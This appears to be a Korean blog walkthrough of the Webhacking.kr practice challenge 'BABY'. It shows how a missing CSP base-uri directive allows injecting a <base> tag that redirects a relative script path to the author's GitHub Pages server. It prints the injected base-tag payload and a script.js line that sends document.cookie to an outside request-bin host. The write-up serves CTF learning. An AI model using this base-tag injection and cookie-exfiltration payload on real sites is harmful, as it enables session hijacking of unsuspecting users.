본문 바로가기

Webhacking.kr

BABY

문제 페이지에 접속해 보면 다음과 같이 inject라는 파라미터 값이 화면에 출력된다.

Burp Suite에서 요청과 응답을 확인해보자.

취약점 : CSP 정책에 base-uri 미지정

inject 파라미터에 다음과 같은 파라미터에 다음과 같은 Payload를 주입한다.

<base href="https://Request-Bin.request.dreamhack.games">

Request-Bin 확인

/script.js라는 Path가 나온다.

여기서 문제 페이지에서 페이지 소스보기를 해보자.

view-source:http://webhacking.kr:10010/?inject=<base href="https://Request-Bin.request.dreamhack.games">

HTML <base> 태그는 경로가 해석되는 기준점을 변경할 수 있도록 하며, <a>, <form> 등의 target 속성의 기본 값을 지정하도록 한다.

만일 공격자가 와 같은 마크업을 삽입하게 된다면, 추후 상대 경로를 사용하는 URL들은 본래 의도한 위치가 아닌 공격자의 서버에 자원을 가리키게 되어 공격자는 이를 통해 임의의 스크립트 등을 삽입할 수 있게 된다.

그럼 이 <base>태그를 이용해 경로가 해석되는 기준점을 공격자의 웹 서버로 바꾸고, /script.js 라는 경로를 웹 훅으로 조작하여 공격자의 웹 서버에 있는 /script.js를 동작하게 하자.

필자는 Github를 이용해 본인의 웹 서버를 만들었다.

필자의 웹 서버 주소 : https://soonho-21.github.io/

inject 파라미터에 입력

<base href="https://soonho-21.github.io">

웹 서버의 script.js를 다음과 같이 작성했다.

document.location="https://Request-Bin.request.dreamhack.games/"+document.cookie

Request-Bin 페이지 확인

'Webhacking.kr' 카테고리의 다른 글

old-02  (0) 2026.05.12
old-57  (0) 2026.05.12
old-13  (0) 2026.05.12
old-09  (0) 2026.05.12
CHILD  (0) 2026.05.11